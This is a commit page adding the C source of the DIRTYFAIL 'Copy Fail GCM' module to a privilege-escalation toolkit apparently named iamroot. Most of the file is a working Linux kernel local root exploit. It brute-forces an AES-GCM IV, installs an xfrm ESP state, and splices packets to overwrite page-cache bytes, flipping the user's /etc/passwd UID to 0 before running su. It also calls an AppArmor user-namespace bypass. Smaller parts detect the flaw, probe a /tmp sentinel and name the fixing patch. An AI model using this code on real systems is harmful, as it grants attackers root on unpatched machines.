Phase 1: module interface + registry + top-level dispatcher
- core/module.h: struct iamroot_module + iamroot_result_t
- core/registry.{h,c}: flat-array module registry with find-by-name
- modules/copy_fail_family/iamroot_modules.{h,c}: bridge layer
exposing 5 modules (copy_fail, copy_fail_gcm, dirty_frag_esp,
dirty_frag_esp6, dirty_frag_rxrpc) wired to the absorbed DIRTYFAIL
detect/exploit functions; df_result_t/iamroot_result_t share numeric
values intentionally for zero-cost translation
- iamroot.c: top-level CLI dispatcher with --scan / --list / --exploit /
--mitigate / --cleanup, JSON output, --i-know gate
- Restored modules/copy_fail_family/src/ structure (DIRTYFAIL Makefile
expects it; the initial flat copy broke that contract)
- Top-level Makefile builds one binary; filters out DIRTYFAIL's
original dirtyfail.c main so it doesn't conflict with iamroot.c
Verified end-to-end on kctf-mgr (Linux): clean compile, 5 modules
register, --scan --json output ingest-ready, exit codes propagate.
This commit is contained in:
@@ -0,0 +1,634 @@
|
||||
/*
|
||||
* DIRTYFAIL — copyfail_gcm.c
|
||||
*
|
||||
* See copyfail_gcm.h for the design notes. This file implements:
|
||||
*
|
||||
* 1. AES-GCM keystream byte 0 computation via AF_ALG `gcm(aes)`.
|
||||
* 2. IV brute force until keystream[0] equals the desired XOR mask.
|
||||
* 3. SA installation via `ip xfrm state add ...` (system(3) — saves
|
||||
* ~150 lines of netlink boilerplate vs. our authencesn path; the
|
||||
* gcm primitive is the right place to take that dep, and every
|
||||
* modern distro ships iproute2).
|
||||
* 4. Splice trigger: ESP wire header (16B) + 1 target byte + 16-byte
|
||||
* ICV pad. The kernel's in-place GCM decrypt XORs keystream[0]
|
||||
* onto the spliced page-cache byte, which is what we control.
|
||||
*/
|
||||
|
||||
#include "copyfail_gcm.h"
|
||||
#include "apparmor_bypass.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <stdarg.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/if.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
|
||||
size_t len, unsigned int flags);
|
||||
#endif
|
||||
|
||||
#ifndef UDP_ENCAP
|
||||
#define UDP_ENCAP 100
|
||||
#endif
|
||||
#ifndef UDP_ENCAP_ESPINUDP
|
||||
#define UDP_ENCAP_ESPINUDP 2
|
||||
#endif
|
||||
|
||||
#define ENCAP_PORT 4500
|
||||
#define ESP_SPI 0xCAFEBABE
|
||||
#define IV_LEN 8
|
||||
#define ICV_LEN 16
|
||||
#define AES_KEY_LEN 16
|
||||
#define SALT_LEN 4
|
||||
#define KEY_TOTAL (AES_KEY_LEN + SALT_LEN) /* rfc4106 expects 20 */
|
||||
|
||||
/* Fixed AEAD key (16-byte AES key + 4-byte salt). Both are attacker-
|
||||
* chosen — auth verification will fail at the end of decrypt anyway,
|
||||
* the STORE has already happened by then. */
|
||||
__attribute__((unused))
|
||||
static const unsigned char AEAD_KEY[KEY_TOTAL] = {
|
||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||||
0x10, 0x11, 0x12, 0x13,
|
||||
};
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* Detection
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
df_result_t copyfail_gcm_detect(void)
|
||||
{
|
||||
log_step("Copy Fail GCM variant — detection");
|
||||
|
||||
int km, kn;
|
||||
if (kernel_version(&km, &kn))
|
||||
log_hint("kernel %d.%d.x", km, kn);
|
||||
|
||||
/* Probe AF_ALG availability of rfc4106(gcm(aes)). */
|
||||
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) {
|
||||
log_ok("AF_ALG unavailable — GCM variant unreachable");
|
||||
return DF_PRECOND_FAIL;
|
||||
}
|
||||
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
|
||||
strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1);
|
||||
strncpy((char *)sa.salg_name, "rfc4106(gcm(aes))", sizeof(sa.salg_name) - 1);
|
||||
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||
log_ok("rfc4106(gcm(aes)) not loadable — GCM variant unreachable");
|
||||
close(s);
|
||||
return DF_PRECOND_FAIL;
|
||||
}
|
||||
close(s);
|
||||
log_ok("AF_ALG + rfc4106(gcm(aes)) loadable");
|
||||
|
||||
bool userns = unprivileged_userns_allowed();
|
||||
log_hint("unprivileged user namespace: %s", userns ? "allowed" : "DENIED");
|
||||
|
||||
if (!userns) {
|
||||
log_warn("preconditions partial — userns blocked. Try with --aa-bypass.");
|
||||
return DF_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (apparmor_userns_caps_blocked()) {
|
||||
log_ok("LSM-mitigated — unprivileged userns lacks caps; xfrm SA install "
|
||||
"via `ip xfrm` requires CAP_NET_ADMIN that the AA policy denies.");
|
||||
return DF_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (dirtyfail_active_probes) {
|
||||
log_step("--active set: firing rfc4106(gcm) trigger against /tmp sentinel");
|
||||
df_result_t pr = copyfail_gcm_active_probe();
|
||||
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
|
||||
log_warn("active probe inconclusive — falling back to precondition verdict");
|
||||
}
|
||||
|
||||
log_warn("VULNERABLE — GCM-variant of xfrm-ESP page-cache write reachable");
|
||||
log_warn("apply mainline patch f4c50a4034e6 or distro backport");
|
||||
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
|
||||
return DF_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* AES-GCM keystream byte 0 — computed via AF_ALG `ecb(aes)` instead
|
||||
* of `aead gcm(aes)`.
|
||||
*
|
||||
* BACKGROUND
|
||||
* ----------
|
||||
* Originally we used AF_ALG `aead` `gcm(aes)`: bind, set key + tag size,
|
||||
* sendmsg with assoclen=0 + 1-byte zero plaintext, read back 17 bytes
|
||||
* of (ciphertext || tag). The first byte of the output IS the keystream
|
||||
* byte we want (since pt=0 means ct = ks XOR 0 = ks).
|
||||
*
|
||||
* That worked in unit tests on some kernels but on Ubuntu 24.04 / 6.8
|
||||
* the read() blocks indefinitely — the 1-byte AEAD plaintext doesn't
|
||||
* produce output until additional data is sent or the socket is shut
|
||||
* down. Tracking down the exact "what does this kernel want" was a rat
|
||||
* hole.
|
||||
*
|
||||
* Instead, we compute keystream byte 0 directly. Per NIST SP 800-38D,
|
||||
* GCM with a 12-byte nonce derives the initial counter as
|
||||
* J0 = nonce || 0x00000001
|
||||
* and the counter for the first plaintext block is J0 + 1 =
|
||||
* nonce || 0x00000002
|
||||
* The keystream block is E_K(that counter), so:
|
||||
* keystream[0] = AES-128-ECB(K, nonce || 0x00000002)[0]
|
||||
*
|
||||
* AF_ALG `ecb(aes)` is bulletproof — single-block in, single-block out,
|
||||
* no MSG_MORE / shutdown semantics to get wrong. ~6 µs per call on a
|
||||
* 4-core VM, vs ~50 µs for the AEAD path that didn't actually work.
|
||||
*
|
||||
* (cf2's copyfail2.c uses OpenSSL EVP_aes_128_gcm to do the same
|
||||
* computation indirectly. We avoid the libssl dependency by going
|
||||
* through AF_ALG ECB directly.)
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static int gcm_open(void)
|
||||
{
|
||||
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) return -1;
|
||||
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
|
||||
strncpy((char *)sa.salg_type, "skcipher", sizeof(sa.salg_type) - 1);
|
||||
strncpy((char *)sa.salg_name, "ecb(aes)", sizeof(sa.salg_name) - 1);
|
||||
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||
close(s); return -1;
|
||||
}
|
||||
if (setsockopt(s, SOL_ALG, ALG_SET_KEY,
|
||||
AEAD_KEY, AES_KEY_LEN) < 0) { /* AES-128 key */
|
||||
close(s); return -1;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Compute byte 0 of the GCM keystream for the given 12-byte nonce by
|
||||
* ECB-encrypting the counter block (nonce || 0x00000002). */
|
||||
static bool gcm_keystream_byte0(int ecb_s, const uint8_t nonce[12],
|
||||
uint8_t *out_byte)
|
||||
{
|
||||
int op = accept(ecb_s, NULL, NULL);
|
||||
if (op < 0) return false;
|
||||
|
||||
/* Counter block: J0 + 1 = nonce(12) || 0x00000002. The +1 is
|
||||
* because GCM reserves J0 itself for the auth-tag XOR, so the
|
||||
* first plaintext block uses J0+1. */
|
||||
uint8_t block[16];
|
||||
memcpy(block, nonce, 12);
|
||||
block[12] = 0; block[13] = 0; block[14] = 0; block[15] = 2;
|
||||
|
||||
char cbuf[CMSG_SPACE(sizeof(unsigned int))] = {0};
|
||||
unsigned int op_enc = ALG_OP_ENCRYPT;
|
||||
|
||||
struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
|
||||
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
|
||||
c->cmsg_level = SOL_ALG;
|
||||
c->cmsg_type = ALG_SET_OP;
|
||||
c->cmsg_len = CMSG_LEN(sizeof(unsigned int));
|
||||
memcpy(CMSG_DATA(c), &op_enc, sizeof(op_enc));
|
||||
|
||||
struct iovec iov = { .iov_base = block, .iov_len = 16 };
|
||||
msg.msg_iov = &iov; msg.msg_iovlen = 1;
|
||||
|
||||
if (sendmsg(op, &msg, 0) != 16) { close(op); return false; }
|
||||
|
||||
uint8_t out[16];
|
||||
ssize_t n = read(op, out, 16);
|
||||
close(op);
|
||||
if (n != 16) return false;
|
||||
*out_byte = out[0];
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Brute force IV until keystream byte equals want_ks. Returns iters
|
||||
* tried; writes the winning 8-byte IV into iv_out. */
|
||||
static int64_t gcm_brute_iv(uint8_t want_ks, uint8_t iv_out[IV_LEN])
|
||||
{
|
||||
int s = gcm_open();
|
||||
if (s < 0) {
|
||||
log_bad("gcm_open: %s", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
uint8_t nonce[12];
|
||||
memcpy(nonce, AEAD_KEY + AES_KEY_LEN, SALT_LEN); /* salt prefix */
|
||||
|
||||
for (uint64_t v = 1; v < (1ULL << 32); v++) {
|
||||
memcpy(nonce + SALT_LEN, &v, IV_LEN); /* low 8 bytes */
|
||||
uint8_t ks;
|
||||
if (!gcm_keystream_byte0(s, nonce, &ks)) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
if (ks == want_ks) {
|
||||
memcpy(iv_out, &v, IV_LEN);
|
||||
close(s);
|
||||
return (int64_t)v;
|
||||
}
|
||||
if ((v & 0xFFF) == 0 && v > 16384) {
|
||||
/* progress hint after 16k attempts (very unlucky case). */
|
||||
log_hint("gcm IV brute: %llu trials so far...",
|
||||
(unsigned long long)v);
|
||||
}
|
||||
}
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* SA install via `ip xfrm state add ...`
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
static bool ip_run(const char *fmt, ...)
|
||||
{
|
||||
char cmd[2048];
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(cmd, sizeof(cmd), fmt, ap);
|
||||
va_end(ap);
|
||||
int rc = system(cmd);
|
||||
return rc == 0;
|
||||
}
|
||||
|
||||
static bool gcm_install_sa(const uint8_t iv[IV_LEN])
|
||||
{
|
||||
char keyhex[KEY_TOTAL * 2 + 3];
|
||||
char *p = keyhex;
|
||||
p += sprintf(p, "0x");
|
||||
for (int i = 0; i < KEY_TOTAL; i++)
|
||||
p += sprintf(p, "%02x", AEAD_KEY[i]);
|
||||
|
||||
/* `ip xfrm state add` registers a transport-mode ESP SA over
|
||||
* loopback with rfc4106(gcm(aes)) AEAD. Encap is ESPINUDP/4500
|
||||
* matching what we'll send via splice. */
|
||||
(void)iv; /* IV travels in the wire packet, not the SA. */
|
||||
return ip_run(
|
||||
"ip link set lo up >/dev/null 2>&1 ; "
|
||||
"ip xfrm state flush >/dev/null 2>&1 ; "
|
||||
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp "
|
||||
"spi 0x%08x encap espinudp %d %d 0.0.0.0 "
|
||||
"aead 'rfc4106(gcm(aes))' %s 128 replay-window 32 >/dev/null 2>&1",
|
||||
ESP_SPI, ENCAP_PORT, ENCAP_PORT, keyhex);
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* Splice trigger
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
static bool gcm_trigger(const char *target_path, off_t target_off,
|
||||
const uint8_t iv[IV_LEN])
|
||||
{
|
||||
int rs = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (rs < 0) return false;
|
||||
int encap = UDP_ENCAP_ESPINUDP;
|
||||
setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap));
|
||||
struct sockaddr_in la = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(ENCAP_PORT),
|
||||
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
|
||||
};
|
||||
int reuse = 1;
|
||||
setsockopt(rs, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
|
||||
if (bind(rs, (struct sockaddr *)&la, sizeof(la)) < 0) {
|
||||
close(rs); return false;
|
||||
}
|
||||
|
||||
/* Build attacker page in /tmp: ESP header(16) + ICV pad at offset
|
||||
* 4096. We splice these from a real file so the kernel sees them
|
||||
* as page-cache pages on the splice path. */
|
||||
char atkpath[64];
|
||||
snprintf(atkpath, sizeof(atkpath), "/tmp/dirtyfail-gcm.%d", (int)getpid());
|
||||
unlink(atkpath);
|
||||
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
|
||||
if (afd < 0) { close(rs); return false; }
|
||||
|
||||
unsigned char esp_hdr[16];
|
||||
*(uint32_t *)(esp_hdr + 0) = htonl(ESP_SPI);
|
||||
*(uint32_t *)(esp_hdr + 4) = htonl(1); /* SeqNum */
|
||||
memcpy(esp_hdr + 8, iv, IV_LEN);
|
||||
if (pwrite(afd, esp_hdr, 16, 0) != 16) goto fail;
|
||||
|
||||
unsigned char icv[ICV_LEN] = {0};
|
||||
if (pwrite(afd, icv, ICV_LEN, 4096) != ICV_LEN) goto fail;
|
||||
fsync(afd);
|
||||
#ifdef POSIX_FADV_DONTNEED
|
||||
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
#endif
|
||||
|
||||
int afd2 = open(atkpath, O_RDONLY);
|
||||
if (afd2 < 0) goto fail;
|
||||
unlink(atkpath);
|
||||
|
||||
int tfd = open(target_path, O_RDONLY);
|
||||
if (tfd < 0) { close(afd2); goto fail; }
|
||||
|
||||
int p[2];
|
||||
if (pipe(p) < 0) { close(afd2); close(tfd); goto fail; }
|
||||
fcntl(p[0], F_SETPIPE_SZ, 1 << 20);
|
||||
fcntl(p[1], F_SETPIPE_SZ, 1 << 20);
|
||||
|
||||
/* esp_hdr (16) || target_byte (1) || icv_pad (16) — 33 bytes total. */
|
||||
loff_t off;
|
||||
off = 0; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
|
||||
off = target_off; if (splice(tfd, &off, p[1], NULL, 1, SPLICE_F_MOVE) != 1) goto trig_fail;
|
||||
off = 4096; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
|
||||
|
||||
int ss = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (ss < 0) goto trig_fail;
|
||||
if (connect(ss, (struct sockaddr *)&la, sizeof(la)) < 0) { close(ss); goto trig_fail; }
|
||||
ssize_t sent = splice(p[0], NULL, ss, NULL, 16 + 1 + 16, SPLICE_F_MOVE);
|
||||
(void)sent;
|
||||
close(ss);
|
||||
close(p[0]); close(p[1]);
|
||||
|
||||
/* Wait for esp_input to finish the in-place STORE before we
|
||||
* tear down sockets. 150ms matches V4bel's reference; 50ms was
|
||||
* working on x86 lab kernels but tight on ARM64 / loaded VMs. */
|
||||
usleep(150 * 1000);
|
||||
unsigned char drain[256];
|
||||
(void)recv(rs, drain, sizeof(drain), MSG_DONTWAIT);
|
||||
|
||||
close(afd2); close(tfd); close(afd); close(rs);
|
||||
return true;
|
||||
|
||||
trig_fail:
|
||||
close(p[0]); close(p[1]); close(afd2); close(tfd);
|
||||
fail:
|
||||
close(afd); close(rs);
|
||||
unlink(atkpath);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* Public 1-byte primitive
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
bool cfg_1byte_write(const char *target_path,
|
||||
off_t target_off, unsigned char want_byte)
|
||||
{
|
||||
/* Read current byte. */
|
||||
int tfd = open(target_path, O_RDONLY);
|
||||
if (tfd < 0) {
|
||||
log_bad("open %s: %s", target_path, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
unsigned char cur = 0;
|
||||
if (pread(tfd, &cur, 1, target_off) != 1) {
|
||||
log_bad("pread current: %s", strerror(errno));
|
||||
close(tfd); return false;
|
||||
}
|
||||
close(tfd);
|
||||
|
||||
if (cur == want_byte) {
|
||||
return true; /* already what we want */
|
||||
}
|
||||
|
||||
uint8_t want_ks = cur ^ want_byte;
|
||||
|
||||
log_step("cfg_1byte_write off=%lld 0x%02x -> 0x%02x (need_ks=0x%02x)",
|
||||
(long long)target_off, cur, want_byte, want_ks);
|
||||
|
||||
/* Brute force IV via AF_ALG. */
|
||||
uint8_t iv[IV_LEN];
|
||||
int64_t iters = gcm_brute_iv(want_ks, iv);
|
||||
if (iters < 0) {
|
||||
log_bad("gcm IV brute force failed (want_ks=0x%02x)", want_ks);
|
||||
return false;
|
||||
}
|
||||
log_step(" IV found in %lld iters", (long long)iters);
|
||||
|
||||
/* Install SA. */
|
||||
if (!gcm_install_sa(iv)) {
|
||||
log_bad("ip xfrm state add failed");
|
||||
return false;
|
||||
}
|
||||
log_step(" SA installed");
|
||||
|
||||
/* Trigger. */
|
||||
if (!gcm_trigger(target_path, target_off, iv)) {
|
||||
log_bad("gcm trigger failed");
|
||||
return false;
|
||||
}
|
||||
log_step(" trigger fired");
|
||||
|
||||
/* Verify. */
|
||||
int v = open(target_path, O_RDONLY);
|
||||
if (v < 0) return false;
|
||||
unsigned char post = 0;
|
||||
if (pread(v, &post, 1, target_off) != 1) { close(v); return false; }
|
||||
close(v);
|
||||
if (post != want_byte) {
|
||||
log_bad("byte at off=%lld is 0x%02x, wanted 0x%02x",
|
||||
(long long)target_off, post, want_byte);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
bool cfg_1byte_write(const char *p, off_t o, unsigned char b)
|
||||
{ (void)p; (void)o; (void)b; return false; }
|
||||
#endif
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* Top-level exploit (UID flip end-to-end)
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
/* INNER (bypass userns): cfg_1byte_write × 4 to flip UID digits to '0'. */
|
||||
df_result_t copyfail_gcm_exploit_inner(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
const char *user = getenv("DIRTYFAIL_TARGET_USER");
|
||||
if (!user || !*user) {
|
||||
log_bad("inner: DIRTYFAIL_TARGET_USER not set");
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
off_t uid_off; size_t uid_len; char uid_str[16];
|
||||
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
|
||||
log_bad("inner: find_passwd_uid_field('%s') failed", user);
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
if (uid_len != 4) {
|
||||
log_bad("inner: UID '%s' not 4 chars", uid_str);
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
for (size_t i = 0; i < 4; i++) {
|
||||
if (uid_str[i] == '0') continue;
|
||||
log_step("inner: flip /etc/passwd[%lld] '%c' -> '0'",
|
||||
(long long)(uid_off + i), uid_str[i]);
|
||||
if (!cfg_1byte_write("/etc/passwd", uid_off + i, '0')) {
|
||||
log_bad("inner: byte flip failed at offset %lld",
|
||||
(long long)(uid_off + i));
|
||||
return DF_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
return DF_EXPLOIT_OK;
|
||||
#else
|
||||
return DF_TEST_ERROR;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* OUTER (init ns): prompts → fork bypass child → wait → verify → su. */
|
||||
df_result_t copyfail_gcm_exploit(bool do_shell)
|
||||
{
|
||||
log_step("Copy Fail GCM variant — exploit");
|
||||
|
||||
uid_t target_uid = getuid();
|
||||
if (target_uid == 0) {
|
||||
log_warn("already root in init namespace");
|
||||
return DF_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(target_uid);
|
||||
if (!pw) { log_bad("getpwuid: %s", strerror(errno)); return DF_TEST_ERROR; }
|
||||
const char *user = pw->pw_name;
|
||||
|
||||
off_t uid_off; size_t uid_len; char uid_str[16];
|
||||
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
|
||||
log_bad("user %s not found in /etc/passwd", user);
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
log_step("/etc/passwd UID for %s: '%s' at offset %lld",
|
||||
user, uid_str, (long long)uid_off);
|
||||
if (uid_len != 4) {
|
||||
log_bad("UID '%s' is %zu chars; need 4", uid_str, uid_len);
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
|
||||
log_warn("about to flip /etc/passwd UID via rfc4106(gcm(aes)) byte-flips");
|
||||
log_warn("(four 1-byte writes — one per UID digit not already '0')");
|
||||
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
|
||||
if (!ssh_lockout_check(user)) { log_bad("ssh-lockout declined"); return DF_OK; }
|
||||
|
||||
setenv("DIRTYFAIL_INNER_MODE", "gcm", 1);
|
||||
setenv("DIRTYFAIL_TARGET_USER", user, 1);
|
||||
|
||||
int rc = apparmor_bypass_fork_arm(0, NULL);
|
||||
if (rc != DF_EXPLOIT_OK) {
|
||||
log_bad("inner exploit failed (exit=%d)", rc);
|
||||
return DF_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Verify in init ns */
|
||||
int v = open("/etc/passwd", O_RDONLY);
|
||||
if (v < 0) return DF_EXPLOIT_FAIL;
|
||||
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
|
||||
char land[5] = {0};
|
||||
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
|
||||
close(v);
|
||||
if (memcmp(land, "0000", 4) != 0) {
|
||||
log_bad("verify: page cache reads '%.4s'", land);
|
||||
return DF_EXPLOIT_FAIL;
|
||||
}
|
||||
log_ok("page cache now reports %s with uid 0 (via GCM path)", user);
|
||||
|
||||
if (!do_shell) {
|
||||
if (try_revert_passwd_page_cache())
|
||||
log_ok("page cache reverted (--no-shell)");
|
||||
else
|
||||
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
|
||||
return DF_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
log_ok("invoking 'su %s' in init ns — enter your password for REAL root", user);
|
||||
execlp("su", "su", user, (char *)NULL);
|
||||
log_bad("execlp: %s", strerror(errno));
|
||||
return DF_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- *
|
||||
* Active probe — `--scan --active`.
|
||||
*
|
||||
* Install GCM SA with an arbitrary IV and fire ONE trigger against a
|
||||
* /tmp sentinel. We skip the IV brute force: keystream XOR ciphertext
|
||||
* is unpredictable but ANY byte change at sentinel[0] proves the
|
||||
* kernel ran the in-place STORE.
|
||||
* ---------------------------------------------------------------- */
|
||||
|
||||
df_result_t copyfail_gcm_active_probe_inner(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
|
||||
if (!sentinel || !*sentinel) {
|
||||
log_bad("gcm-probe: DIRTYFAIL_PROBE_SENTINEL not set");
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Arbitrary fixed 8-byte wire IV (rfc4106 wraps it with the 4-byte
|
||||
* SA salt to form the 12-byte GCM nonce). Keystream is deterministic
|
||||
* given this IV + key, but we don't need to predict it for the
|
||||
* probe — any byte change in sentinel[0] proves the STORE happened. */
|
||||
static const uint8_t probe_iv[IV_LEN] = {
|
||||
0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04
|
||||
};
|
||||
|
||||
if (!gcm_install_sa(probe_iv)) {
|
||||
log_bad("gcm-probe: ip xfrm state add failed");
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
if (!gcm_trigger(sentinel, 0, probe_iv)) {
|
||||
log_bad("gcm-probe: trigger failed");
|
||||
return DF_TEST_ERROR;
|
||||
}
|
||||
return DF_EXPLOIT_OK;
|
||||
#else
|
||||
return DF_TEST_ERROR;
|
||||
#endif
|
||||
}
|
||||
|
||||
df_result_t copyfail_gcm_active_probe(void)
|
||||
{
|
||||
char tmpl[] = "/tmp/dirtyfail-gcm-probe.XXXXXX";
|
||||
int sfd = mkstemp(tmpl);
|
||||
if (sfd < 0) { log_bad("gcm-probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
|
||||
unsigned char filler[4096];
|
||||
memset(filler, 'A', sizeof(filler));
|
||||
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
|
||||
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
|
||||
}
|
||||
close(sfd);
|
||||
|
||||
int rfd = open(tmpl, O_RDONLY);
|
||||
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
|
||||
char tmp[4096];
|
||||
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
|
||||
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
|
||||
}
|
||||
close(rfd);
|
||||
|
||||
setenv("DIRTYFAIL_INNER_MODE", "gcm-probe", 1);
|
||||
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
|
||||
int rc = apparmor_bypass_fork_arm(0, NULL);
|
||||
unsetenv("DIRTYFAIL_INNER_MODE");
|
||||
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
|
||||
|
||||
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
|
||||
if (rc != DF_EXPLOIT_OK) {
|
||||
log_bad("gcm-probe inner failed (exit=%d)", rc);
|
||||
unlink(tmpl); return DF_TEST_ERROR;
|
||||
}
|
||||
|
||||
rfd = open(tmpl, O_RDONLY);
|
||||
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
|
||||
unsigned char after[16];
|
||||
ssize_t got = read(rfd, after, sizeof(after));
|
||||
close(rfd);
|
||||
unlink(tmpl);
|
||||
if (got <= 0) return DF_TEST_ERROR;
|
||||
|
||||
if (after[0] != 'A') {
|
||||
log_warn("ACTIVE PROBE gcm: sentinel[0] changed 'A' → 0x%02x → kernel is VULNERABLE",
|
||||
after[0]);
|
||||
return DF_VULNERABLE;
|
||||
}
|
||||
log_ok("ACTIVE PROBE gcm: sentinel[0] intact — kernel rfc4106 path appears patched");
|
||||
return DF_OK;
|
||||
}
|
||||
Reference in New Issue
Block a user